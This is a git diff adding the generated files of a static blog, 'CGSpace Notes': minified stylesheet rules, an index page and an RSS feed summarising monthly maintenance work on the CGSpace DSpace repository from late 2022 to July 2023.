-md-n1,.mx-md-n1{margin-right:-.25rem!important}.mb-md-n1,.my-md-n1{margin-bottom:-.25rem!important}.ml-md-n1,.mx-md-n1{margin-left:-.25rem!important}.m-md-n2{margin:-.5rem!important}.mt-md-n2,.my-md-n2{margin-top:-.5rem!important}.mr-md-n2,.mx-md-n2{margin-right:-.5rem!important}.mb-md-n2,.my-md-n2{margin-bottom:-.5rem!important}.ml-md-n2,.mx-md-n2{margin-left:-.5rem!important}.m-md-n3{margin:-1rem!important}.mt-md-n3,.my-md-n3{margin-top:-1rem!important}.mr-md-n3,.mx-md-n3{margin-right:-1rem!important}.mb-md-n3,.my-md-n3{margin-bottom:-1rem!important}.ml-md-n3,.mx-md-n3{margin-left:-1rem!important}.m-md-n4{margin:-1.5rem!important}.mt-md-n4,.my-md-n4{margin-top:-1.5rem!important}.mr-md-n4,.mx-md-n4{margin-right:-1.5rem!important}.mb-md-n4,.my-md-n4{margin-bottom:-1.5rem!important}.ml-md-n4,.mx-md-n4{margin-left:-1.5rem!important}.m-md-n5{margin:-3rem!important}.mt-md-n5,.my-md-n5{margin-top:-3rem!important}.mr-md-n5,.mx-md-n5{margin-right:-3rem!important}.mb-md-n5,.my-md-n5{margin-bottom:-3rem!important}.ml-md-n5,.mx-md-n5{margin-left:-3rem!important}.m-md-auto{margin:auto!important}.mt-md-auto,.my-md-auto{margin-top:auto!important}.mr-md-auto,.mx-md-auto{margin-right:auto!important}.mb-md-auto,.my-md-auto{margin-bottom:auto!important}.ml-md-auto,.mx-md-auto{margin-left:auto!important}}@media (min-width:992px){.m-lg-0{margin:0!important}.mt-lg-0,.my-lg-0{margin-top:0!important}.mr-lg-0,.mx-lg-0{margin-right:0!important}.mb-lg-0,.my-lg-0{margin-bottom:0!important}.ml-lg-0,.mx-lg-0{margin-left:0!important}.m-lg-1{margin:.25rem!important}.mt-lg-1,.my-lg-1{margin-top:.25rem!important}.mr-lg-1,.mx-lg-1{margin-right:.25rem!important}.mb-lg-1,.my-lg-1{margin-bottom:.25rem!important}.ml-lg-1,.mx-lg-1{margin-left:.25rem!important}.m-lg-2{margin:.5rem!important}.mt-lg-2,.my-lg-2{margin-top:.5rem!important}.mr-lg-2,.mx-lg-2{margin-right:.5rem!important}.mb-lg-2,.my-lg-2{margin-bottom:.5rem!important}.ml-lg-2,.mx-lg-2{margin-left:.5rem!important}.m-lg-3{margin:1rem!important}.mt-lg-3,.my-lg-3{margin-top:1rem!important}.mr-lg-3,.mx-lg-3{margin-right:1rem!important}.mb-lg-3,.my-lg-3{margin-bottom:1rem!important}.ml-lg-3,.mx-lg-3{margin-left:1rem!important}.m-lg-4{margin:1.5rem!important}.mt-lg-4,.my-lg-4{margin-top:1.5rem!important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem!important}.mb-lg-4,.my-lg-4{margin-bottom:1.5rem!important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem!important}.m-lg-5{margin:3rem!important}.mt-lg-5,.my-lg-5{margin-top:3rem!important}.mr-lg-5,.mx-lg-5{margin-right:3rem!important}.mb-lg-5,.my-lg-5{margin-bottom:3rem!important}.ml-lg-5,.mx-lg-5{margin-left:3rem!important}.p-lg-0{padding:0!important}.pt-lg-0,.py-lg-0{padding-top:0!important}.pr-lg-0,.px-lg-0{padding-right:0!important}.pb-lg-0,.py-lg-0{padding-bottom:0!important}.pl-lg-0,.px-lg-0{padding-left:0!important}.p-lg-1{padding:.25rem!important}.pt-lg-1,.py-lg-1{padding-top:.25rem!important}.pr-lg-1,.px-lg-1{padding-right:.25rem!important}.pb-lg-1,.py-lg-1{padding-bottom:.25rem!important}.pl-lg-1,.px-lg-1{padding-left:.25rem!important}.p-lg-2{padding:.5rem!important}.pt-lg-2,.py-lg-2{padding-top:.5rem!important}.pr-lg-2,.px-lg-2{padding-right:.5rem!important}.pb-lg-2,.py-lg-2{padding-bottom:.5rem!important}.pl-lg-2,.px-lg-2{padding-left:.5rem!important}.p-lg-3{padding:1rem!important}.pt-lg-3,.py-lg-3{padding-top:1rem!important}.pr-lg-3,.px-lg-3{padding-right:1rem!important}.pb-lg-3,.py-lg-3{padding-bottom:1rem!important}.pl-lg-3,.px-lg-3{padding-left:1rem!important}.p-lg-4{padding:1.5rem!important}.pt-lg-4,.py-lg-4{padding-top:1.5rem!important}.pr-lg-4,.px-lg-4{padding-right:1.5rem!important}.pb-lg-4,.py-lg-4{padding-bottom:1.5rem!important}.pl-lg-4,.px-lg-4{padding-left:1.5rem!important}.p-lg-5{padding:3rem!important}.pt-lg-5,.py-lg-5{padding-top:3rem!important}.pr-lg-5,.px-lg-5{padding-right:3rem!important}.pb-lg-5,.py-lg-5{padding-bottom:3rem!important}.pl-lg-5,.px-lg-5{padding-left:3rem!important}.m-lg-n1{margin:-.25rem!important}.mt-lg-n1,.my-lg-n1{margin-top:-.25rem!important}.mr-lg-n1,.mx-lg-n1{margin-right:-.25rem!important}.mb-lg-n1,.my-lg-n1{margin-bottom:-.25rem!important}.ml-lg-n1,.mx-lg-n1{margin-left:-.25rem!important}.m-lg-n2{margin:-.5rem!important}.mt-lg-n2,.my-lg-n2{margin-top:-.5rem!important}.mr-lg-n2,.mx-lg-n2{margin-right:-.5rem!important}.mb-lg-n2,.my-lg-n2{margin-bottom:-.5rem!important}.ml-lg-n2,.mx-lg-n2{margin-left:-.5rem!important}.m-lg-n3{margin:-1rem!important}.mt-lg-n3,.my-lg-n3{margin-top:-1rem!important}.mr-lg-n3,.mx-lg-n3{margin-right:-1rem!important}.mb-lg-n3,.my-lg-n3{margin-bottom:-1rem!important}.ml-lg-n3,.mx-lg-n3{margin-left:-1rem!important}.m-lg-n4{margin:-1.5rem!important}.mt-lg-n4,.my-lg-n4{margin-top:-1.5rem!important}.mr-lg-n4,.mx-lg-n4{margin-right:-1.5rem!important}.mb-lg-n4,.my-lg-n4{margin-bottom:-1.5rem!important}.ml-lg-n4,.mx-lg-n4{margin-left:-1.5rem!important}.m-lg-n5{margin:-3rem!important}.mt-lg-n5,.my-lg-n5{margin-top:-3rem!important}.mr-lg-n5,.mx-lg-n5{margin-right:-3rem!important}.mb-lg-n5,.my-lg-n5{margin-bottom:-3rem!important}.ml-lg-n5,.mx-lg-n5{margin-left:-3rem!important}.m-lg-auto{margin:auto!important}.mt-lg-auto,.my-lg-auto{margin-top:auto!important}.mr-lg-auto,.mx-lg-auto{margin-right:auto!important}.mb-lg-auto,.my-lg-auto{margin-bottom:auto!important}.ml-lg-auto,.mx-lg-auto{margin-left:auto!important}}@media (min-width:1200px){.m-xl-0{margin:0!important}.mt-xl-0,.my-xl-0{margin-top:0!important}.mr-xl-0,.mx-xl-0{margin-right:0!important}.mb-xl-0,.my-xl-0{margin-bottom:0!important}.ml-xl-0,.mx-xl-0{margin-left:0!important}.m-xl-1{margin:.25rem!important}.mt-xl-1,.my-xl-1{margin-top:.25rem!important}.mr-xl-1,.mx-xl-1{margin-right:.25rem!important}.mb-xl-1,.my-xl-1{margin-bottom:.25rem!important}.ml-xl-1,.mx-xl-1{margin-left:.25rem!important}.m-xl-2{margin:.5rem!important}.mt-xl-2,.my-xl-2{margin-top:.5rem!important}.mr-xl-2,.mx-xl-2{margin-right:.5rem!important}.mb-xl-2,.my-xl-2{margin-bottom:.5rem!important}.ml-xl-2,.mx-xl-2{margin-left:.5rem!important}.m-xl-3{margin:1rem!important}.mt-xl-3,.my-xl-3{margin-top:1rem!important}.mr-xl-3,.mx-xl-3{margin-right:1rem!important}.mb-xl-3,.my-xl-3{margin-bottom:1rem!important}.ml-xl-3,.mx-xl-3{margin-left:1rem!important}.m-xl-4{margin:1.5rem!important}.mt-xl-4,.my-xl-4{margin-top:1.5rem!important}.mr-xl-4,.mx-xl-4{margin-right:1.5rem!important}.mb-xl-4,.my-xl-4{margin-bottom:1.5rem!important}.ml-xl-4,.mx-xl-4{margin-left:1.5rem!important}.m-xl-5{margin:3rem!important}.mt-xl-5,.my-xl-5{margin-top:3rem!important}.mr-xl-5,.mx-xl-5{margin-right:3rem!important}.mb-xl-5,.my-xl-5{margin-bottom:3rem!important}.ml-xl-5,.mx-xl-5{margin-left:3rem!important}.p-xl-0{padding:0!important}.pt-xl-0,.py-xl-0{padding-top:0!important}.pr-xl-0,.px-xl-0{padding-right:0!important}.pb-xl-0,.py-xl-0{padding-bottom:0!important}.pl-xl-0,.px-xl-0{padding-left:0!important}.p-xl-1{padding:.25rem!important}.pt-xl-1,.py-xl-1{padding-top:.25rem!important}.pr-xl-1,.px-xl-1{padding-right:.25rem!important}.pb-xl-1,.py-xl-1{padding-bottom:.25rem!important}.pl-xl-1,.px-xl-1{padding-left:.25rem!important}.p-xl-2{padding:.5rem!important}.pt-xl-2,.py-xl-2{padding-top:.5rem!important}.pr-xl-2,.px-xl-2{padding-right:.5rem!important}.pb-xl-2,.py-xl-2{padding-bottom:.5rem!important}.pl-xl-2,.px-xl-2{padding-left:.5rem!important}.p-xl-3{padding:1rem!important}.pt-xl-3,.py-xl-3{padding-top:1rem!important}.pr-xl-3,.px-xl-3{padding-right:1rem!important}.pb-xl-3,.py-xl-3{padding-bottom:1rem!important}.pl-xl-3,.px-xl-3{padding-left:1rem!important}.p-xl-4{padding:1.5rem!important}.pt-xl-4,.py-xl-4{padding-top:1.5rem!important}.pr-xl-4,.px-xl-4{padding-right:1.5rem!important}.pb-xl-4,.py-xl-4{padding-bottom:1.5rem!important}.pl-xl-4,.px-xl-4{padding-left:1.5rem!important}.p-xl-5{padding:3rem!important}.pt-xl-5,.py-xl-5{padding-top:3rem!important}.pr-xl-5,.px-xl-5{padding-right:3rem!important}.pb-xl-5,.py-xl-5{padding-bottom:3rem!important}.pl-xl-5,.px-xl-5{padding-left:3rem!important}.m-xl-n1{margin:-.25rem!important}.mt-xl-n1,.my-xl-n1{margin-top:-.25rem!important}.mr-xl-n1,.mx-xl-n1{margin-right:-.25rem!important}.mb-xl-n1,.my-xl-n1{margin-bottom:-.25rem!important}.ml-xl-n1,.mx-xl-n1{margin-left:-.25rem!important}.m-xl-n2{margin:-.5rem!important}.mt-xl-n2,.my-xl-n2{margin-top:-.5rem!important}.mr-xl-n2,.mx-xl-n2{margin-right:-.5rem!important}.mb-xl-n2,.my-xl-n2{margin-bottom:-.5rem!important}.ml-xl-n2,.mx-xl-n2{margin-left:-.5rem!important}.m-xl-n3{margin:-1rem!important}.mt-xl-n3,.my-xl-n3{margin-top:-1rem!important}.mr-xl-n3,.mx-xl-n3{margin-right:-1rem!important}.mb-xl-n3,.my-xl-n3{margin-bottom:-1rem!important}.ml-xl-n3,.mx-xl-n3{margin-left:-1rem!important}.m-xl-n4{margin:-1.5rem!important}.mt-xl-n4,.my-xl-n4{margin-top:-1.5rem!important}.mr-xl-n4,.mx-xl-n4{margin-right:-1.5rem!important}.mb-xl-n4,.my-xl-n4{margin-bottom:-1.5rem!important}.ml-xl-n4,.mx-xl-n4{margin-left:-1.5rem!important}.m-xl-n5{margin:-3rem!important}.mt-xl-n5,.my-xl-n5{margin-top:-3rem!important}.mr-xl-n5,.mx-xl-n5{margin-right:-3rem!important}.mb-xl-n5,.my-xl-n5{margin-bottom:-3rem!important}.ml-xl-n5,.mx-xl-n5{margin-left:-3rem!important}.m-xl-auto{margin:auto!important}.mt-xl-auto,.my-xl-auto{margin-top:auto!important}.mr-xl-auto,.mx-xl-auto{margin-right:auto!important}.mb-xl-auto,.my-xl-auto{margin-bottom:auto!important}.ml-xl-auto,.mx-xl-auto{margin-left:auto!important}}.stretched-link::after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;pointer-events:auto;content:"";background-color:rgba(0,0,0,0)}.text-monospace{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace!important}.text-justify{text-align:justify!important}.text-wrap{white-space:normal!important}.text-nowrap{white-space:nowrap!important}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text-left{text-align:left!important}.text-right{text-align:right!important}.text-center{text-align:center!important}@media (min-width:576px){.text-sm-left{text-align:left!important}.text-sm-right{text-align:right!important}.text-sm-center{text-align:center!important}}@media (min-width:768px){.text-md-left{text-align:left!important}.text-md-right{text-align:right!important}.text-md-center{text-align:center!important}}@media (min-width:992px){.text-lg-left{text-align:left!important}.text-lg-right{text-align:right!important}.text-lg-center{text-align:center!important}}@media (min-width:1200px){.text-xl-left{text-align:left!important}.text-xl-right{text-align:right!important}.text-xl-center{text-align:center!important}}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.font-weight-light{font-weight:300!important}.font-weight-lighter{font-weight:lighter!important}.font-weight-normal{font-weight:400!important}.font-weight-bold{font-weight:700!important}.font-weight-bolder{font-weight:bolder!important}.font-italic{font-style:italic!important}.text-white{color:#fff!important}.text-primary{color:#007bff!important}a.text-primary:focus,a.text-primary:hover{color:#0056b3!important}.text-secondary{color:#6c757d!important}a.text-secondary:focus,a.text-secondary:hover{color:#494f54!important}.text-success{color:#28a745!important}a.text-success:focus,a.text-success:hover{color:#19692c!important}.text-info{color:#17a2b8!important}a.text-info:focus,a.text-info:hover{color:#0f6674!important}.text-warning{color:#ffc107!important}a.text-warning:focus,a.text-warning:hover{color:#ba8b00!important}.text-danger{color:#dc3545!important}a.text-danger:focus,a.text-danger:hover{color:#a71d2a!important}.text-light{color:#f8f9fa!important}a.text-light:focus,a.text-light:hover{color:#cbd3da!important}.text-dark{color:#343a40!important}a.text-dark:focus,a.text-dark:hover{color:#121416!important}.text-body{color:#212529!important}.text-muted{color:#6c757d!important}.text-black-50{color:rgba(0,0,0,.5)!important}.text-white-50{color:rgba(255,255,255,.5)!important}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.text-decoration-none{text-decoration:none!important}.text-break{word-break:break-word!important;word-wrap:break-word!important}.text-reset{color:inherit!important}.visible{visibility:visible!important}.invisible{visibility:hidden!important}@media print{*,::after,::before{text-shadow:none!important;box-shadow:none!important}a:not(.btn){text-decoration:underline}abbr[title]::after{content:" (" attr(title) ")"}pre{white-space:pre-wrap!important}blockquote,pre{border:1px solid #adb5bd;page-break-inside:avoid}img,tr{page-break-inside:avoid}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}@page{size:a3}body{min-width:992px!important}.container{min-width:992px!important}.navbar{display:none}.badge{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #dee2e6!important}.table-dark{color:inherit}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#dee2e6}.table .thead-dark th{color:inherit;border-color:#dee2e6}}@media (min-width:48em){html{font-size:18px}}body{color:#555}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{font-weight:400;color:#333}.h1 a,.h1 a:focus,.h1 a:hover,.h2 a,.h2 a:focus,.h2 a:hover,.h3 a,.h3 a:focus,.h3 a:hover,.h4 a,.h4 a:focus,.h4 a:hover,.h5 a,.h5 a:focus,.h5 a:hover,.h6 a,.h6 a:focus,.h6 a:hover,h1 a,h1 a:focus,h1 a:hover,h2 a,h2 a:focus,h2 a:hover,h3 a,h3 a:focus,h3 a:hover,h4 a,h4 a:focus,h4 a:hover,h5 a,h5 a:focus,h5 a:hover,h6 a,h6 a:focus,h6 a:hover{color:inherit;text-decoration:none}.container{max-width:60rem}.blog-masthead{margin-bottom:3rem;background-color:#428bca;-webkit-box-shadow:inset 0 -.1rem .25rem rgba(0,0,0,.1);box-shadow:inset 0 -.1rem .25rem rgba(0,0,0,.1)}.nav-link{position:relative;padding:1rem;font-weight:500;color:#cdddeb}.nav-link:focus,.nav-link:hover{color:#fff;background-color:transparent}.nav-link.active{color:#fff}.nav-link.active:after{position:absolute;bottom:0;left:50%;width:0;height:0;margin-left:-.3rem;vertical-align:middle;content:"";border-right:.3rem solid transparent;border-bottom:.3rem solid;border-left:.3rem solid transparent}.blog-header{padding-bottom:1.25rem;margin-bottom:2rem;border-bottom:.05rem solid #eee}.blog-title{margin-bottom:0;font-size:2rem;font-weight:400}.blog-description{font-size:1.1rem;color:#999}@media (min-width:40em){.blog-title{font-size:3.5rem}}.sidebar-module{padding:1rem}.sidebar-module-inset{padding:1rem;background-color:#f5f5f5;border-radius:.25rem}.sidebar-module-inset ol:last-child,.sidebar-module-inset p:last-child,.sidebar-module-inset ul:last-child{margin-bottom:0}.blog-pagination{margin-bottom:4rem}.blog-pagination>.btn{border-radius:2rem}.blog-post{margin-bottom:4rem}.blog-post-title{margin-bottom:.25rem;font-size:2.5rem}.blog-post-meta{margin-bottom:1.25rem;color:#999}article img{max-width:100%;height:auto;margin:13px auto}.sharing-icons .nav-item+.nav-item{margin-left:1rem}section+#disqus_thread{margin-top:1rem}article blockquote{margin-bottom:1rem;font-size:1.25rem}article div.highlight{padding:5px 5px 0 5px}.blog-footer{padding:2.5rem 0;color:#999;text-align:center;background-color:#f9f9f9;border-top:.05rem solid #e5e5e5}.blog-footer p:last-child{margin-bottom:0} \ No newline at end of file diff --git a/docs/index.html b/docs/index.html new file mode 100644 index 000000000..eb8e1d5ac --- /dev/null +++ b/docs/index.html @@ -0,0 +1,440 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

July, 2023

+

by Alan Orth in + Notes + + +

+
+ 2023-07-01 Export CGSpace to check for missing Initiative collection mappings Start harvesting on AReS 2023-07-02 Minor edits to the crossref_doi_lookup.py script while running some checks from 22,000 CGSpace DOIs 2023-07-03 I analyzed the licenses declared by Crossref and found with high confidence that ~400 of ours were incorrect I took the more accurate ones from Crossref and updated the items on CGSpace I took a few hundred ISBNs as well for where we were missing them I also tagged ~4,700 items with missing licenses as “Copyrighted; all rights reserved” based on their Crossref license status being TDM, mostly from Elsevier, Wiley, and Springer Checking a dozen or so manually, I confirmed that if Crossref only has a TDM license then it’s usually copyrighted (could still be open access, but we can’t tell via Crossref) I would be curious to write a script to check the Unpaywall API for open access status… In the past I found that their license status was not very accurate, but the open access status might be more reliable More minor work on the DSpace 7 item views I learned some new Angular template syntax I created a custom component to show Creative Commons licenses on the simple item page I also decided that I don’t like the Impact Area icons as a component because they don’t have any visual meaning + Read more → +
+ + + + + + +
+
+

June, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-06-02

+
    +
  • Spend some time testing my post_bitstreams.py script to update thumbnails for items on CGSpace +
      +
    • Interestingly I found an item with a JFIF thumbnail and another with a WebP thumbnail…
      • +
    +
    • +
  • Meeting with Valentina, Stefano, and Sara about MODS metadata in CGSpace +
      +
    • They have experience with improving the MODS interface in MELSpace’s OAI-PMH for use with AGRIS and were curious if we could do the same in CGSpace
      • +
    • From what I can see we need to upgrade the MODS schema from 3.1 to 3.7 and then just add a bunch of our fields to the crosswalk
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

May, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-05-03

+
    +
  • Alliance’s TIP team emailed me to ask about issues authenticating on CGSpace +
      +
    • It seems their password expired, which is annoying
      • +
    +
    • +
  • I continued looking at the CGSpace subjects for the FAO / AGROVOC exercise that I started last week +
      +
    • There are many of our subjects that would match if they added a “-” like “high yielding varieties” or used singular…
      • +
    • Also I found at least two spelling mistakes, for example “decison support systems”, which would match if it was spelled correctly
      • +
    +
    • +
  • Work on cleaning, proofing, and uploading twenty-seven records for IFPRI to CGSpace
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-04-02

+
    +
  • Run all system updates on CGSpace and reboot it
    • +
  • I exported CGSpace to CSV to check for any missing Initiative collection mappings +
      +
    • I also did a check for missing country/region mappings with csv-metadata-quality
      • +
    +
    • +
  • Start a harvest on AReS
    • +
+ Read more → +
+ + + + + + +
+
+

March, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-03-01

+
    +
  • Remove cg.subject.wle and cg.identifier.wletheme from CGSpace input form after confirming with IWMI colleagues that they no longer need them (WLE closed in 2021)
    • +
  • iso-codes 4.13.0 was released, which incorporates my changes to the common names for Iran, Laos, and Syria
    • +
  • I finally got through with porting the input form from DSpace 6 to DSpace 7
    • +
+ Read more → +
+ + + + + + +
+
+

February, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-02-01

+
    +
  • Export CGSpace to cross check the DOI metadata with Crossref +
      +
    • I want to try to expand my use of their data to journals, publishers, volumes, issues, etc…
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

January, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-01-01

+
    +
  • Apply some more ORCID identifiers to items on CGSpace using my 2022-09-22-add-orcids.csv file +
      +
    • I want to update all ORCID names and refresh them in the database
      • +
    • I see we have some new ones that aren’t in our list if I combine with this file:
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-12-01

+
    +
  • Fix some incorrect regions on CGSpace +
      +
    • I exported the CCAFS and IITA communities, extracted just the country and region columns, then ran them through csv-metadata-quality to fix the regions
      • +
    +
    • +
  • Add a few more authors to my CSV with author names and ORCID identifiers and tag 283 items!
    • +
  • Replace “East Asia” with “Eastern Asia” region on CGSpace (UN M.49 region)
    • +
+ Read more → +
+ + + + + + +
+
+

November, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-11-01

+
    +
  • Last night I re-synced DSpace 7 Test from CGSpace +
      +
    • I also updated all my local 7_x-dev branches on the latest upstreams
      • +
    +
    • +
  • I spent some time updating the authorizations in Alliance collections +
      +
    • I want to make sure they use groups instead of individuals where possible!
      • +
    +
    • +
  • I reverted the Cocoon autosave change because it was more of a nuissance that Peter can’t upload CSVs from the web interface and is a very low severity security issue
    • +
+ Read more → +
+ + + + + + + + + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/index.xml b/docs/index.xml new file mode 100644 index 000000000..5258126b3 --- /dev/null +++ b/docs/index.xml @@ -0,0 +1,1907 @@ + + + + CGSpace Notes + https://alanorth.github.io/cgspace-notes/ + Recent content on CGSpace Notes + Hugo -- gohugo.io + en-us + Sat, 01 Jul 2023 17:14:36 +0300 + + July, 2023 + https://alanorth.github.io/cgspace-notes/2023-07/ + Sat, 01 Jul 2023 17:14:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-07/ + 2023-07-01 Export CGSpace to check for missing Initiative collection mappings Start harvesting on AReS 2023-07-02 Minor edits to the crossref_doi_lookup.py script while running some checks from 22,000 CGSpace DOIs 2023-07-03 I analyzed the licenses declared by Crossref and found with high confidence that ~400 of ours were incorrect I took the more accurate ones from Crossref and updated the items on CGSpace I took a few hundred ISBNs as well for where we were missing them I also tagged ~4,700 items with missing licenses as &ldquo;Copyrighted; all rights reserved&rdquo; based on their Crossref license status being TDM, mostly from Elsevier, Wiley, and Springer Checking a dozen or so manually, I confirmed that if Crossref only has a TDM license then it&rsquo;s usually copyrighted (could still be open access, but we can&rsquo;t tell via Crossref) I would be curious to write a script to check the Unpaywall API for open access status&hellip; In the past I found that their license status was not very accurate, but the open access status might be more reliable More minor work on the DSpace 7 item views I learned some new Angular template syntax I created a custom component to show Creative Commons licenses on the simple item page I also decided that I don&rsquo;t like the Impact Area icons as a component because they don&rsquo;t have any visual meaning + + + + June, 2023 + https://alanorth.github.io/cgspace-notes/2023-06/ + Fri, 02 Jun 2023 10:29:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-06/ + <h2 id="2023-06-02">2023-06-02</h2> +<ul> +<li>Spend some time testing my <code>post_bitstreams.py</code> script to update thumbnails for items on CGSpace +<ul> +<li>Interestingly I found an item with a JFIF thumbnail and another with a WebP thumbnail&hellip;</li> +</ul> +</li> +<li>Meeting with Valentina, Stefano, and Sara about MODS metadata in CGSpace +<ul> +<li>They have experience with improving the MODS interface in MELSpace&rsquo;s OAI-PMH for use with AGRIS and were curious if we could do the same in CGSpace</li> +<li>From what I can see we need to upgrade the MODS schema from 3.1 to 3.7 and then just add a bunch of our fields to the crosswalk</li> +</ul> +</li> +</ul> + + + + May, 2023 + https://alanorth.github.io/cgspace-notes/2023-05/ + Wed, 03 May 2023 08:53:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-05/ + <h2 id="2023-05-03">2023-05-03</h2> +<ul> +<li>Alliance&rsquo;s TIP team emailed me to ask about issues authenticating on CGSpace +<ul> +<li>It seems their password expired, which is annoying</li> +</ul> +</li> +<li>I continued looking at the CGSpace subjects for the FAO / AGROVOC exercise that I started last week +<ul> +<li>There are many of our subjects that would match if they added a &ldquo;-&rdquo; like &ldquo;high yielding varieties&rdquo; or used singular&hellip;</li> +<li>Also I found at least two spelling mistakes, for example &ldquo;decison support systems&rdquo;, which would match if it was spelled correctly</li> +</ul> +</li> +<li>Work on cleaning, proofing, and uploading twenty-seven records for IFPRI to CGSpace</li> +</ul> + + + + April, 2023 + https://alanorth.github.io/cgspace-notes/2023-04/ + Sun, 02 Apr 2023 08:19:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-04/ + <h2 id="2023-04-02">2023-04-02</h2> +<ul> +<li>Run all system updates on CGSpace and reboot it</li> +<li>I exported CGSpace to CSV to check for any missing Initiative collection mappings +<ul> +<li>I also did a check for missing country/region mappings with csv-metadata-quality</li> +</ul> +</li> +<li>Start a harvest on AReS</li> +</ul> + + + + March, 2023 + https://alanorth.github.io/cgspace-notes/2023-03/ + Wed, 01 Mar 2023 07:58:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-03/ + <h2 id="2023-03-01">2023-03-01</h2> +<ul> +<li>Remove <code>cg.subject.wle</code> and <code>cg.identifier.wletheme</code> from CGSpace input form after confirming with IWMI colleagues that they no longer need them (WLE closed in 2021)</li> +<li><a href="https://salsa.debian.org/iso-codes-team/iso-codes/-/blob/main/CHANGELOG.md#4130-2023-02-28">iso-codes 4.13.0 was released</a>, which incorporates my changes to the common names for Iran, Laos, and Syria</li> +<li>I finally got through with porting the input form from DSpace 6 to DSpace 7</li> +</ul> + + + + February, 2023 + https://alanorth.github.io/cgspace-notes/2023-02/ + Wed, 01 Feb 2023 10:57:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-02/ + <h2 id="2023-02-01">2023-02-01</h2> +<ul> +<li>Export CGSpace to cross check the DOI metadata with Crossref +<ul> +<li>I want to try to expand my use of their data to journals, publishers, volumes, issues, etc&hellip;</li> +</ul> +</li> +</ul> + + + + January, 2023 + https://alanorth.github.io/cgspace-notes/2023-01/ + Sun, 01 Jan 2023 08:44:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-01/ + <h2 id="2023-01-01">2023-01-01</h2> +<ul> +<li>Apply some more ORCID identifiers to items on CGSpace using my <code>2022-09-22-add-orcids.csv</code> file +<ul> +<li>I want to update all ORCID names and refresh them in the database</li> +<li>I see we have some new ones that aren&rsquo;t in our list if I combine with this file:</li> +</ul> +</li> +</ul> + + + + December, 2022 + https://alanorth.github.io/cgspace-notes/2022-12/ + Thu, 01 Dec 2022 08:52:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-12/ + <h2 id="2022-12-01">2022-12-01</h2> +<ul> +<li>Fix some incorrect regions on CGSpace +<ul> +<li>I exported the CCAFS and IITA communities, extracted just the country and region columns, then ran them through csv-metadata-quality to fix the regions</li> +</ul> +</li> +<li>Add a few more authors to my CSV with author names and ORCID identifiers and tag 283 items!</li> +<li>Replace &ldquo;East Asia&rdquo; with &ldquo;Eastern Asia&rdquo; region on CGSpace (UN M.49 region)</li> +</ul> + + + + November, 2022 + https://alanorth.github.io/cgspace-notes/2022-11/ + Tue, 01 Nov 2022 09:11:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-11/ + <h2 id="2022-11-01">2022-11-01</h2> +<ul> +<li>Last night I re-synced DSpace 7 Test from CGSpace +<ul> +<li>I also updated all my local <code>7_x-dev</code> branches on the latest upstreams</li> +</ul> +</li> +<li>I spent some time updating the authorizations in Alliance collections +<ul> +<li>I want to make sure they use groups instead of individuals where possible!</li> +</ul> +</li> +<li>I reverted the Cocoon autosave change because it was more of a nuissance that Peter can&rsquo;t upload CSVs from the web interface and is a very low severity security issue</li> +</ul> + + + + October, 2022 + https://alanorth.github.io/cgspace-notes/2022-10/ + Sat, 01 Oct 2022 19:45:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-10/ + <h2 id="2022-10-01">2022-10-01</h2> +<ul> +<li>Start a harvest on AReS last night</li> +<li>Yesterday I realized how to use <a href="https://im4java.sourceforge.net/docs/dev-guide.html">GraphicsMagick with im4java</a> and I want to re-visit some of my thumbnail tests +<ul> +<li>I&rsquo;m also interested in libvips support via jVips, though last time I checked it was only for Java 8</li> +<li>I filed <a href="https://github.com/criteo/JVips/issues/141">an issue to ask about Java 11+ support</a></li> +</ul> +</li> +</ul> + + + + September, 2022 + https://alanorth.github.io/cgspace-notes/2022-09/ + Thu, 01 Sep 2022 09:41:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-09/ + <h2 id="2022-09-01">2022-09-01</h2> +<ul> +<li>A bit of work on the &ldquo;Mapping CG Core–CGSpace–MEL–MARLO Types&rdquo; spreadsheet</li> +<li>I tested an item submission on DSpace Test with the Cocoon <code>org.apache.cocoon.uploads.autosave=false</code> change +<ul> +<li>The submission works as expected</li> +</ul> +</li> +<li>Start debugging some region-related issues with csv-metadata-quality +<ul> +<li>I created a new test file <code>test-geography.csv</code> with some different scenarios</li> +<li>I also fixed a few bugs and improved the region-matching logic</li> +</ul> 